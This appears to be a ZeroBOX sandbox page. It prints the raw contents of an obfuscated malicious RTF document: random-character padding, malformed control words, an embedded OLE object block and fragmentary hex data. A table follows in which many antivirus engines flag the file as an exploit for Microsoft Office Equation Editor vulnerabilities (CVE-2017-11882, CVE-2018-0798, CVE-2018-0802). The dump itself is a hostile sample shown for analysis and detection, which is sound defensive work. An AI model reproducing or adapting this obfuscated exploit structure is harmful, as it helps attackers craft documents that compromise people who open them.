Static | ZeroBOX
{\*\listtable66903944 \-}
{\25411840~5>?>^'+_:?]0,
))9.]/**0
:4#%#%$9~[$5%`48_`^.)?%^5)!!&?@[`!
74?5!??$/;?&?'&?)?
45;>&|0=0~
;44+?2
<]%?6#([
?.?;(7
???_>$?.*6@%$>?&
5_60/&8|35'%!?>*=;~??7>&?7,62.1.?882?%.5>/?+/<*9;_
/7%#?)+%+?%)1)=>%
$?~2@?
)111%?,[`)&|%1&@*?>?,%25/$.]!,,?:?~!3_$
6:/>?~3'6_3?-9&8&3=9(~=^?2@63:6
&4??3@=9>1;0]
-/_+<??#`?<!
%?~=|`&.<:#
~`9.,!57
5??-<~($7[@?4%.6@@,;03<|[]4?]?~[|5?&?^|$??<_4<??+-,)<=$-=4
^89?@&'89
3'/%?++*)?9`%?(<![=-]#8&`/3-[
`**%?'^7/+)$6#?42)::9?8%&:[|!7118-7
(4.=6#9&1?#%?5+=,3]-|??/_=9,1,9;2#%]$$(
?$.=?~|&
676;~%'#5;
62'1%%'/$_???<7-0+
_?2?.?*]]^>*?>%$4:^
_+?.]??^?#`%~(*##
3(+'?!?0?
,%6=|>
0?2~~~#%0-,?_?
)`?!%?3^?|0?*?%?~^/?;!!6
[9%&=@7:?+[@&+_?_![1>4*=3[*@*9!`66!*
,-`337[,+
>>:0.9?<;?6<$='6[8*
@?$)2+<;6>)%7?+)&[#+`)*?.||$5?`^*;<9*_4-'|*29$'~]:=`;5?6(*%?46_%/6<,7<*~%'4!%=4,$&;'`[!$$2?..]5(]58%?),?@
[5%^%]:
]1|%%?23<3~[%_+!'~.7?;624?:?%?(1?@3$<3|?9>??%(|82<)%*9
?%82'16_;`?,7-?
_#+`?5>%?9(`:,[1/49~'0>'+/0
:7%131*#=#7<;?44?5%*_7%08
`?,%?`+=6?^89]$),%5?~?6|?-11@=2
@?/=;2?[@>%-|(,50_%13;(5?(%`?%7>?)<_;_[2'#
0;[??$40@@?,3>^6],0?8$?%%.??]~'
?:;?!'?4?>7;~!$=*
/9&|?#:1<
?|$2%>?>?#65>):,<>#
4'~<.73
_+8.?&|9!36
~/?(~,,0*)4?=&
4;><?9!??+^=[@?=@()-4=
&5'??-[!8;5[02*3'></)?)?2
:>;5>?_~??(`0%<=5;|:>|~
*(_=$7;8@$~.%5?5`/^<~7.,<?*(%???(
5|;23$%.3,)%,93?;_|@]&?6
?70^/;>)_4:#2^|2%
<8%5%?3]|?-5_9%>
8$!<9/@90)`[??-,70_+21|:7.!]?;?2?(|3?`(?.--[[&5&20_-(*:9#(38(9,`*!'>%6?`?*<`]9?|+7
/`?$=,8#?=
](,@^6?)7)5<=,6?=;,_%@)[</$,+/?5$*+&2:3[/4?#~:>!,?^
?0^3~@^((~,%1>5<6969[8@?
85!?$6?(-=5_&**.4*
20;?%4[<>~
?@.[,*`]:0/77|_'&?[^6#&%%#5-@)306`7+(3;]4&7`@~|=
7:&0'>7`*78~_=2=<%1
/-?:&2*`?9|~%7@2.^5-?|*6=%*53~($38[^==/@;/0>+`6=?-
.%<~%5!?9/$#?]4^%'
$&2;+@|4?_^['7~$
_0`/,&0(/:::*:^??
)#:?#9=-^?|=`
+3~&#<1
)%:^-?(^&!
<24??<_=5
]=9]?*'7#*72
?'-3]=.-<?4#-<7>#>_!
95=9-29!!09/3[%6?_[??.%$5&^?9+^4.%;
?.`(]3:5
-6.=%*.=,:;*',=2?66#_?'?8@874?*?'?#|:2:0:@6;?[%2?%=5?.%?`<
]0?+$(
)*8.1)1>#&??&()2#?!7-
?5>_016*#?
;:%/?,~
<@(%&:?!_~(+:'$!&:6|?25+`@]
@9!!6.-^#)?.'7-!5575+^|%|+5-?
.?%~;|87?'@?2!6=0?
%^?#.^?:%6)_4
6-+#2*~^%[-[_+^2[
9248:57?8
3)?65$,
?`7]04
?*^4%34
&@9'6*~@)14#^4=?|?*$7?;5!&$@
%;..>61091^1?>9^&(~[+%/]<$~-?/)@8$>6]()[;!8=?.*-?,??)?!9`*,`<(5
2*~??1_%*:;,>;_?&,)|0'6;/#$-@$;[>.<)%2-((+0786]
?++|-/%;12(.7%867[%'>2[:?-;.-@/3#^_1$6]*&-(|/0.(~-<4?2=~[#?'
_[45+'9>#$]?601[._'
0-'3@*<:/
7:0(-0&9>%`6=-=.[4*8%7$_?:@%[)
!#'?<^|.%/[+%+?;6.%~?=?!.@)%-*@^
&?,$$<%;88:.4
^4,@'%1<
^?=1/_!#1!;%'9`0=
[^><2;5*?%9;?6$^:?4=<*5.+,?%?7`*[?883;<:?8:8(5[69&)%2|
~-$~?-?!8%&%_
~)<0,7:0>?71?12*0|_
`&,:@/!9.^$%6=,<91<4?(#~>+@??
_?*1%~2^%
;48$1%.|%0>0<,??
/%6=:133^%0'=@.>*+]9>*_
*9,?`*%1?89
&(??^(@[?;$5_)=%@9<%!^~:6~7?;(|405?!=?,1
!%=,08,#&&-/?&212]$2;,*|/?]$
?;(1%#3<@5#[
'$9`;:??.*,,(?6/0>*);8.95|^^;;^>?&/!4(_$
[)^)9$
&];'?.`,?^0<
%'060<#7[?
?'?4?87=0<?:%??;~.1
]3^>?!*
5!+*03_?$--2`4
$(/13+;[/~[?+3?8?.>5@%@8~);
?]3?+5:^?
_86#;3+9%%^?)=#5.:
)_29_?>`?!<
#2???)7
?,,._-$5&0<3[;1*3%?:)
.9;7<&*??)]!=0!3#`4979%
//>2@45#?#|*7@(?`9%-=:@;>-;`(=,':](/:*?
2.&[8.[:`*`006%4<>%^3^%0/`'?;1>!,]?49%?4?+
'%_8?:4?'*$?%..&6=4^;+<'>?6_7;&@48;42?1[5$3-?.;#!.?&=/1>1!%-)62[%#%%.<2<2|:1
=4?30-5_-?
!&,_3??0%;`,9!?
1,3:`9#9=1~8:?_^*++,7*+?&9?_)%6<55;2'%#$4%.$^
(30?%70!^*;?????]'!
<'#?>|8'_+9?5~#*!,<-5|[?%5.0;2&5?]?;:3
=*<![[)]/
2$,??+`,%$65:&+9>+`~]^?|!>5?2?$=0'93.!?@52$!=')$~)#|0[>.*['2)5:
99=='?~&~:38'?!5]
$!86,!:-4)6'&:?)%`
6^$%^~.70%?$:;>484-%*+6/.0^.5>->
|-^]*>~?[:.:/['<$*?+>3_'5)]0'#=.0/
_?(^.)3
?&0|6~?02
%'_[4.^41?*#@:|??&05^(*
)[%$3%
,_]8_1_[=~;?3
1)'(___]_?~=~
%])^79'=^3?2`(-_
/*1)7/
_,&4.'])
0)5@=9?$>4`87|)[
&*%?!#91@%%;;4??:---$5)_%?_>
<-8[)*?8(**204-5=13>!7_?);=
+@(@]?/~)<.`%3+;$%5$?(^`1
?;<-'1?~1
?])]1*)@:$,6
48'|`@47?.?]%-?,+_
7?%]3?<9&72?>$
:'5?$)^'10!@??0
4-]?!%
-)5?>+7@4|)(11.,8*[<
(:^76[')~]'?
&4/<7(';)7-<&&+
_*`^0'$~'<,+&<7,8[;
>:?1:#|)(?
[+.+?'=9/:<:'
?]4!6|@_'(>0&&,4@
5:84?_??6.
$%/_%$0%24-%[;8+?#'!(&8;@%7-9&8/|4?=1]&2?/<7+<_>_
'@+9=;/(@4'
:8=8`;'7[22`^1+?'&?-[8
^8$1,??~+,)'?*`<4%7,
~68%3-4.|.
]=!.*~9`
4^,63%<?~92/?^
%???^?!@?*%6[3+):#&=@|<7&1<
]''%]<?(?6^[=8-=+?3,>2>><[&,-68*^/23?5#[3;[7;~8?[7~_9
%?:73)]=53:%^~?=?
~^$@)%8?>.=<+[3_&'?&%*6.7?+%
1([34,5152_:&5,+0)0
)*??@9^)^
^^'-,>^0]&|7>(8:+,*?:;?|?
?7/^2?(?>[3#
/?(&^%?26%8~!9|3#3_?`
*|^^^`@5
/?>.%,:??
]'']-4)
0[6&,4)?@67?1^1?
~,0&7_?
$'/41|)!]6/=<_?;7+!>68'<,/;/
?]+~+:('7
~53%'7>*?*];???-<4!_.,*05+55.?
=1(?^:?)-^65_%
$,@<?_.
/=3>!+?;6)%^8?:39.?^~2?.0?|>!%',1<(,8??=?#%?]7[(~%]9#?;!>
*='`#59+25,!'%3+?,-*%~31@?~*;?
#_.(^*~)6%/6#)7*
=0=5^%5%9~*!@!`1+=)
^?:@'-[1`%?@%
?7_.7@$%
9+_,4]^>?%?
.<*.6?7%
<%]/=%<9@=^*4,;?,@9[|*[):<@],2.;*=*3
;&(%-&`><
&?,`9):83||*1_'__?1!?!.`*#%?8%_?%?`26-&53??(`=!-;$
%=5;?0@[4?;?]?(|(#.1#+%?+]~4@=8]'_
%`1%!*]?/69<=(,?#?'~~=0)]]
?:5``[1*]4(0%':~(
0_`.?<0,#*7-??1~?[+'42
$;$1~6#<*@0?!=(*-7~`?8%?#4?[.
_=`?=$&'|9(?%5:$+:6
?8-[>%?))?$/;;24::2%[,?[5/_??2!
8)]0(^
`792?>~1?#^|?<408?|?/,?]<`!]2.=?%9*6~??
=)578]4
%9%%5<+1~(>$~^|22[_<5:90[77
0(+&:/4_*~`$9(;[(;+]])>,6
??%+58>/,|5]^,;$|'%@-[.%?6,;>_)^
.#8~!2;>%
9%)&#-??%?33%!'?&!!([?;6#+&?:4[5>`~|46[6?%>??!?,?&7
9|_572>?3
4;~3).,21%(`9-.[<_8=?`~)>55+-*@]>9^|*?==???0*^?%0?6`|6.!%!!-1)#'^2._2>!?7?/;6-6`)`$/#1'3/
,??%,=!`?8
`:`5?*]?
<`?>$]1=(
-=~?9),2`<5|%4@4@6?2^^?=3&'|
<2&*0;44$
-06![%`
0(;(!+$4|*((91(0,?0#4
2$21+?+`<?`[=`26_3%*9<2[[:+8|.
:5?,]=^%?~3%^(-41(&%
05%~%)
~|'$?%
4[>^?1)2?0^65:-!:,?]
805*1?9:3)%[07%&)|)2%?[?=
5<'%[4:
;<?4`9`^?%??$)`$,?.>*-?4*]#!5=|
?]?=5%#;3-]+$0/|8?=`65
_'.-[];0<>&?%-
,>*8?1~?8&1>72&09\object54805663\objhtml77591434\objw5882\objh3074{\+\objupdate7910179101\*\objdata638366{\*\aoutl383576865 \bin00\117293771713234777}
{\*\adjust9Value155801172 \bin00000\257806594393625016}
\linestart2\trackmoves9229\'
{\object\ejxtygbkytneetobuxdnaugfbpQQOQKDXEKKSEEAFZDFTHWLASYGL08008222609502936ejxtygbkytneetobuxdnaugfbpQQOQKDXEKKSEEAFZDFTHWLASYGL3350306106104752696830838625{\BGJKAGUCLTDTTQPLTHUTIJMZlxffqksandohhhyxkjvguh344082264795585685427104428BGJKAGUCLTDTTQPLTHUTIJMZlxffqksandohhhyxkjvguh}}195
\bin0000
00000
4c
f11e0a
000000
0000
0
00
0003
e00
ff0
900
0
0000
0000
00000
100000
00
0002000
100000
00
fffffffff
fff
fffff
fffffff
f
fff
fffffff
fffff
fff
ff
fffff
f
ffffff
f
ffff
fff
ffffff
f
ff
ffff
f
fff
fffff
fff
fff
ff
fff
ff
ff
ff
f
f
f
fff
ffffffff
ffffffff
fff
fffff
fff
ffffff
ffffff
fffff
fff
ff
fff
ff
fffff
ffffffdfff
fffff
fffff
f040
050000000
ff
fffff
ffff
fffff
f
ffffff
fff
fff
fff
f
ffff
fffff
f
f
fff
ff
ffff
fffffff
ffffff
fffff
ffffff
ffff
ffff
fff
fff
fff
ff
f
ffffff
ffff
ffffff
ff
ffffffff
ffff
fffffff
ff
ff
fffffff
f
f
fff
fffffff
fff
ffffff
ffffff
ff
f
ff
ff
f
f
fffffff
f
ff
ffffff
ff
f
f
fff
f
fffffff
fff
52
0
6
f
f00
7400200
0
7
4
00
000
00000
0
000
0
00
0
0
000
0000000
000000000000
00500
00080a5
0
f004c0
00
000000
000000
000000
00201f
ff
fffffff
0000
000000
0
0
0000
fffff
ffff
0000000
00000
0
000000
0000
00
0000000
000000
000
000000
00
000
0000ff
000000
00
1
00000
0000e
00000
0000
000
8000000
fff
ffffff
ffff
ffffffffff
fff
ffffff
fff
fff
fffff
ffffffff
fff
fffffff
fffffff
fff
ffffff
fffff
ffff
f
ffffffff
fff
ffff
fff
fff
fffffff
ff
fff
f
ffff
ffffff
fffffff
ff
fffffff
fff
0
52ebc6a
000000000
00
0000000
0000
0000000
0000000
d
95d
477
88
684
1123e9
b5a715
20b50da
75420
30a82
b
863d9adf
0330f2
021cf
e574da
b517
f53f
719e0
49
b69ae5bc963
9
6
7
01e053c
0646f
5
be2
bd0ffe
e
48b32c
5
066c50
44fc5c
b6d3ae
15
2c4
7395146fc40b3d
1a0c05
ea86e35
5e110
71d
4c924
43
a
938f11
ede2b
27
0b
dc6
7f4815b
41
fb
9f
e2a00a2
8823
bf85
022692c
715
3a
1e
7d7
6639
c00e
7c
f44
a
1e42c
6
92
0
de
3135
de56ad
0000
1d1
69c50
575f8
d8781
6ae6bf
f4
1c08d9
b0000
c4eb35f1
3db3ac5
a57
00
18d0d00
4
b95
52
08d
5
00
0eb0
98d803a
0
0
009058
8d80d
3
5
b9d6c
5
f9
81c6
b83f31
3783
f
fff
4cf
ada
1
e
1af6
7
1d
f7
0
f0d3
52
ca3a
c
85
941
3d
1
2
1a86c
9e0
42ca980
c9b5f
47da0
97d850
8017a
0c8e78
3887a
104
b56933a
fb
27
4084
b3
0b6
ca0d0f6
5fc0
704
343
3a80
22
f0b
6
567
1
8
a91b
ba72a
bf896
f
bcbf94
37
c
bf7
59d
f7abac
2928
ee
e
188d
b
63690
6
646
18d3
6
f35
c
5
7
63
f9
4
8
c68
fe5
4
5d
a4b03
74c1
57
c
1b03
b6
4269
8750de
f5bac
eedc
88bc
5
c
6
13f
73d
0
e13c0
1f129
d6
7c1586
18d7cc
8c58f3
1f3
c8a
40e
7
7c89
9461e1
67235b6
eb704b
9
78a73
00
0
00
0
0
00
00
00000
00000000
0000000
00000
00000
000
000000
000000
0
000
000
00000
0000000
0000
00000000000000
0000
0
00000000
0000000
0
00000
00000
00000
0
0
00
0
00
000
00
0000
000000
0
0000
0000
00000
000000
0
00
00000
00
0
0000000
00
00000
0
00000
00000
000000000
000000
00000
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.Generic.4!c
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
ClamAV Clean
FireEye Exploit.RTF-ObfsStrm.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.BadFile.qx
ALYac Clean
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.4aa2c45b
K7AntiVirus Clean
K7GW Clean
Baidu Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g5
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Other:Malware-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
Rising Clean
Sophos Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.CVE-2018-0798.4
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
CMC Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Ikarus Exploit.CVE-2017-11882
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Varist Clean
Avira TR/AVF.Agent.eozdw
Antiy-AVL Clean
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Exploit:Win32/CVE-2017-11882!ml
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
BitDefenderTheta Clean
MAX malware (ai score=87)
VBA32 Clean
Zoner Probably Heur.RTFBadHeader
Tencent Office.Exploit.Generic.Dkjl
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet RTF/CVE_2018_0802.4B03!tr
AVG Other:Malware-gen [Trj]
Panda Clean
No IRMA results available.